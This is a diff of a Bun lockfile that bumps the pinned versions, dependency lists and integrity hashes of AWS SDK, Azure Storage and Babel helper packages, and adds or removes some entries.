+ "@aws-sdk/middleware-sdk-s3": ["@aws-sdk/middleware-sdk-s3@3.972.18", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-arn-parser": "^3.972.3", "@smithy/core": "^3.23.8", "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-5E3XxaElrdyk6ZJ0TjH7Qm6ios4b/qQCiLr6oQ8NK7e4Kn6JBTJCaYioQCQ65BpZ1+l1mK5wTAac2+pEz0Smpw=="],
- "@aws-sdk/middleware-ssec": ["@aws-sdk/middleware-ssec@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-d4yd1RrPW/sspEXizq2NSOUivnheac6LPeLSLnaeTbBG9g1KqIqvCzP1TfXEqv2CrWfHEsWtJpX7oyjySSPvDQ=="],
+ "@aws-sdk/middleware-ssec": ["@aws-sdk/middleware-ssec@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-G9clGVuAml7d8DYzY6DnRi7TIIDRvZ3YpqJPz/8wnWS5fYx/FNWNmkO6iJVlVkQg9BfeMzd+bVPtPJOvC4B+nQ=="],
- "@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@smithy/core": "^3.1.5", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-iNyehQXtQlj69JCgfaOssgZD4HeYGOwxcaKeG6F+40cwBjTAi0+Ph1yfDwqk2qiBPIRWJ/9l2LodZbxiBqgrwg=="],
+ "@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.972.19", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@smithy/core": "^3.23.8", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-retry": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-Km90fcXt3W/iqujHzuM6IaDkYCj73gsYufcuWXApWdzoTy6KGk8fnchAjePMARU0xegIR3K4N3yIo1vy7OVe8A=="],
- "@aws-sdk/middleware-websocket": ["@aws-sdk/middleware-websocket@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/util-format-url": "3.936.0", "@smithy/eventstream-codec": "^4.2.5", "@smithy/eventstream-serde-browser": "^4.2.5", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/types": "^4.9.0", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-bPe3rqeugyj/MmjP0yBSZox2v1Wa8Dv39KN+RxVbQroLO8VUitBo6xyZ0oZebhZ5sASwSg58aDcMlX0uFLQnTA=="],
+ "@aws-sdk/middleware-websocket": ["@aws-sdk/middleware-websocket@3.972.12", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-format-url": "^3.972.7", "@smithy/eventstream-codec": "^4.2.11", "@smithy/eventstream-serde-browser": "^4.2.11", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-iyPP6FVDKe/5wy5ojC0akpDFG1vX3FeCUU47JuwN8xfvT66xlEI8qUJZPtN55TJVFzzWZJpWL78eqUE31md08Q=="],
- "@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.952.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-OtuirjxuOqZyDcI0q4WtoyWfkq3nSnbH41JwJQsXJefduWcww1FQe5TL1JfYCU7seUxHzK8rg2nFxUBuqUlZtg=="],
+ "@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.996.7", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-MlGWA8uPaOs5AiTZ5JLM4uuWDm9EEAnm9cqwvqQIc6kEgel/8s1BaOWm9QgUcfc9K8qd7KkC3n43yDbeXOA2tg=="],
- "@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-Lvj1kPRC5IuJBr9DyJ9T9/plkh+EfKLy+12s/mykOy1JaKHDpvj+XGy2YO6YgYVOb8JFtaqloid+5COtje4JTQ=="],
+ "@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/config-resolver": "^4.4.10", "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-/Ev/6AI8bvt4HAAptzSjThGUMjcWaX3GX8oERkB0F0F9x2dLSBdgFDiyrRz3i0u0ZFZFQ1b28is4QhyqXTUsVA=="],
"@aws-sdk/s3-request-presigner": ["@aws-sdk/s3-request-presigner@3.758.0", "", { "dependencies": { "@aws-sdk/signature-v4-multi-region": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-format-url": "3.734.0", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dVyItwu/J1InfJBbCPpHRV9jrsBfI7L0RlDGyS3x/xqBwnm5qpvgNZQasQiyqIl+WJB4f5rZRZHgHuwftqINbA=="],
- "@aws-sdk/signature-v4-multi-region": ["@aws-sdk/signature-v4-multi-region@3.758.0", "", { "dependencies": { "@aws-sdk/middleware-sdk-s3": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-0RPCo8fYJcrenJ6bRtiUbFOSgQ1CX/GpvwtLU2Fam1tS9h2klKK8d74caeV6A1mIUvBU7bhyQ0wMGlwMtn3EYw=="],
+ "@aws-sdk/signature-v4-multi-region": ["@aws-sdk/signature-v4-multi-region@3.996.6", "", { "dependencies": { "@aws-sdk/middleware-sdk-s3": "^3.972.18", "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-NnsOQsVmJXy4+IdPFUjRCWPn9qNH1TzS/f7MiWgXeoHs903tJpAWQWQtoFvLccyPoBgomKP9L89RRr2YsT/L0g=="],
- "@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-IpQVC9WOeXQlCEcFVNXWDIKy92CH1Az37u9K0H3DF/HT56AjhyDVKQQfHUy00nt7bHFe3u0K5+zlwErBeKy5ZA=="],
+ "@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.1004.0", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-j9BwZZId9sFp+4GPhf6KrwO8Tben2sXibZA8D1vv2I1zBdvkUHcBA2g4pkqIpTRalMTLC0NPkBPX0gERxfy/iA=="],
- "@aws-sdk/types": ["@aws-sdk/types@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg=="],
+ "@aws-sdk/types": ["@aws-sdk/types@3.973.5", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ=="],
- "@aws-sdk/util-arn-parser": ["@aws-sdk/util-arn-parser@3.723.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZhEfvUwNliOQROcAk34WJWVYTlTa4694kSVhDSjW6lE1bMataPnIN8A0ycukEzBXmd8ZSoBcQLn6lKGl7XIJ5w=="],
+ "@aws-sdk/util-arn-parser": ["@aws-sdk/util-arn-parser@3.972.3", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-HzSD8PMFrvgi2Kserxuff5VitNq2sgf3w9qxmskKDiDTThWfVteJxuCS9JXiPIPtmCrp+7N9asfIaVhBFORllA=="],
- "@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.743.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "@smithy/util-endpoints": "^3.0.1", "tslib": "^2.6.2" } }, "sha512-sN1l559zrixeh5x+pttrnd0A3+r34r0tmPkJ/eaaMaAzXqsmKU/xYre9K3FNnsSS1J1k4PEfk/nHDTVUgFYjnw=="],
+ "@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.996.4", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-endpoints": "^3.3.2", "tslib": "^2.6.2" } }, "sha512-Hek90FBmd4joCFj+Vc98KLJh73Zqj3s2W56gjAcTkrNLMDI5nIFkG9YpfcJiVI1YlE2Ne1uOQNe+IgQ/Vz2XRA=="],
"@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-TxZMVm8V4aR/QkW9/NhujvYpPZjUYqzLwSge5imKZbWFR806NP7RMwc5ilVuHF/bMOln/cVHkl42kATElWBvNw=="],
"@aws-sdk/util-locate-window": ["@aws-sdk/util-locate-window@3.568.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-3nh4TINkXYr+H41QaPelCceEB2FXP3fxp93YZXB/kqJvX0U9j0N0Uk45gvsjmEPzG8XxkPEeLIfT2I1M7A6Lig=="],
- "@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-xQTCus6Q9LwUuALW+S76OL0jcWtMOVu14q+GoLnWPUM7QeUw963oQcLhF7oq0CtaLLKyl4GOUfcwc773Zmwwng=="],
+ "@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-7SJVuvhKhMF/BkNS1n0QAJYgvEwYbK2QLKBrzDiwQGiTRU6Yf1f3nehTzm/l21xdAOtWSfp2uWSddPnP2ZtsVw=="],
- "@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.758.0", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-A5EZw85V6WhoKMV2hbuFRvb9NPlxEErb4HPO6/SPXYY4QrjprIzScHxikqcWv1w4J3apB1wto9LPU3IMsYtfrw=="],
+ "@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.973.4", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/types": "^3.973.5", "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-uqKeLqZ9D3nQjH7HGIERNXK9qnSpUK08l4MlJ5/NZqSSdeJsVANYp437EM9sEzwU28c2xfj2V6qlkqzsgtKs6Q=="],
- "@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Zrjxi5qwGEcUsJ0ru7fRtW74WcTS0rbLcehoFB+rN1GRi2hbLcFaYs4PwVA5diLeAJH0gszv3x4Hr/S87MfbKQ=="],
+ "@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.972.10", "", { "dependencies": { "@smithy/types": "^4.13.0", "fast-xml-parser": "5.4.1", "tslib": "^2.6.2" } }, "sha512-OnejAIVD+CxzyAUrVic7lG+3QRltyja9LoNqCE/1YVs8ichoTbJlVSaZ9iSMcnHLyzrSNtvaOGjSDRP+d/ouFA=="],
"@aws/lambda-invoke-store": ["@aws/lambda-invoke-store@0.2.2", "", {}, "sha512-C0NBLsIqzDIae8HFw9YIrIBsbc0xTiOtt7fAukGPnqQ/+zZNaq+4jhuccltK0QuWHBnNm/a6kLIRA6GFiM10eg=="],
@@ -647,7 +679,9 @@
"@azure/search-documents": ["@azure/search-documents@12.0.0", "", { "dependencies": { "@azure/core-auth": "^1.3.0", "@azure/core-client": "^1.3.0", "@azure/core-http-compat": "^2.0.1", "@azure/core-paging": "^1.1.1", "@azure/core-rest-pipeline": "^1.3.0", "@azure/core-tracing": "^1.0.0", "@azure/logger": "^1.0.0", "events": "^3.0.0", "tslib": "^2.2.0" } }, "sha512-d9d53f2WWBpLHifk+LVn+AG52zuXvjgxJAdaH6kuT2qwrO1natcigtTgBM8qrI3iDYaDXsQhJSIMEgg9WKSoWA=="],
- "@azure/storage-blob": ["@azure/storage-blob@12.27.0", "", { "dependencies": { "@azure/abort-controller": "^2.1.2", "@azure/core-auth": "^1.4.0", "@azure/core-client": "^1.6.2", "@azure/core-http-compat": "^2.0.0", "@azure/core-lro": "^2.2.0", "@azure/core-paging": "^1.1.1", "@azure/core-rest-pipeline": "^1.10.1", "@azure/core-tracing": "^1.1.2", "@azure/core-util": "^1.6.1", "@azure/core-xml": "^1.4.3", "@azure/logger": "^1.0.0", "events": "^3.0.0", "tslib": "^2.2.0" } }, "sha512-IQjj9RIzAKatmNca3D6bT0qJ+Pkox1WZGOg2esJF2YLHb45pQKOwGPIAV+w3rfgkj7zV3RMxpn/c6iftzSOZJQ=="],
+ "@azure/storage-blob": ["@azure/storage-blob@12.31.0", "", { "dependencies": { "@azure/abort-controller": "^2.1.2", "@azure/core-auth": "^1.9.0", "@azure/core-client": "^1.9.3", "@azure/core-http-compat": "^2.2.0", "@azure/core-lro": "^2.2.0", "@azure/core-paging": "^1.6.2", "@azure/core-rest-pipeline": "^1.19.1", "@azure/core-tracing": "^1.2.0", "@azure/core-util": "^1.11.0", "@azure/core-xml": "^1.4.5", "@azure/logger": "^1.1.4", "@azure/storage-common": "^12.3.0", "events": "^3.0.0", "tslib": "^2.8.1" } }, "sha512-DBgNv10aCSxopt92DkTDD0o9xScXeBqPKGmR50FPZQaEcH4JLQ+GEOGEDv19V5BMkB7kxr+m4h6il/cCDPvmHg=="],
+
+ "@azure/storage-common": ["@azure/storage-common@12.3.0", "", { "dependencies": { "@azure/abort-controller": "^2.1.2", "@azure/core-auth": "^1.9.0", "@azure/core-http-compat": "^2.2.0", "@azure/core-rest-pipeline": "^1.19.1", "@azure/core-tracing": "^1.2.0", "@azure/core-util": "^1.11.0", "@azure/logger": "^1.1.4", "events": "^3.3.0", "tslib": "^2.8.1" } }, "sha512-/OFHhy86aG5Pe8dP5tsp+BuJ25JOAl9yaMU3WZbkeoiFMHFtJ7tu5ili7qEdBXNW9G5lDB19trwyI6V49F/8iQ=="],
"@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
@@ -657,45 +691,33 @@
"@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
- "@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.25.9", "", { "dependencies": { "@babel/types": "^7.25.9" } }, "sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g=="],
-
- "@babel/helper-builder-binary-assignment-operator-visitor": ["@babel/helper-builder-binary-assignment-operator-visitor@7.22.15", "", { "dependencies": { "@babel/types": "^7.22.15" } }, "sha512-QkBXwGgaoC2GtGZRoma6kv7Szfv06khvhFav67ZExau2RaXzy8MpHSMO2PNoP2XtmQphJQRHFfg77Bq731Yizw=="],
+ "@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
"@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.27.2", "", { "dependencies": { "@babel/compat-data": "^7.27.2", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ=="],
- "@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.26.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-member-expression-to-functions": "^7.25.9", "@babel/helper-optimise-call-expression": "^7.25.9", "@babel/helper-replace-supers": "^7.26.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", "@babel/traverse": "^7.26.9", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-ubbUqCofvxPRurw5L8WTsCLSkQiVpov4Qx0WMA+jUN+nXBK8ADPlJO1grkFw5CWKC5+sZSOfuGMdX1aI1iT9Sg=="],
+ "@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
"@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.26.3", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "regexpu-core": "^6.2.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-G7ZRb40uUgdKOQqPLjfD12ZmGA54PzqDFUv2BKImnC9QIfGhIHKvVML0oN8IUiDq4iRqpq74ABpvOaerfWdong=="],
- "@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.3", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-HK7Bi+Hj6H+VTHA3ZvBis7V/6hu9QuTrnMXNybfUf2iiuU/N97I8VjB+KbhFF8Rld/Lx5MzoCwPCpPjfK+n8Cg=="],
-
- "@babel/helper-environment-visitor": ["@babel/helper-environment-visitor@7.22.20", "", {}, "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA=="],
-
- "@babel/helper-function-name": ["@babel/helper-function-name@7.23.0", "", { "dependencies": { "@babel/template": "^7.22.15", "@babel/types": "^7.23.0" } }, "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw=="],
+ "@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
"@babel/helper-globals": ["@babel/helper-globals@7.28.0", "", {}, "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw=="],
- "@babel/helper-hoist-variables": ["@babel/helper-hoist-variables@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw=="],
-
- "@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.25.9", "", { "dependencies": { "@babel/traverse": "^7.25.9", "@babel/types": "^7.25.9" } }, "sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ=="],
+ "@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
"@babel/helper-module-imports": ["@babel/helper-module-imports@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w=="],
"@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="],
- "@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.25.9", "", { "dependencies": { "@babel/types": "^7.25.9" } }, "sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ=="],
+ "@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
"@babel/helper-plugin-utils": ["@babel/helper-plugin-utils@7.27.1", "", {}, "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw=="],
- "@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.25.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-wrap-function": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-IZtukuUeBbhgOcaW2s06OXTzVNJR0ybm4W5xC1opWFFJMZbwRj5LCk+ByYH7WdZPZTt8KnFwA8pvjN2yqcPlgw=="],
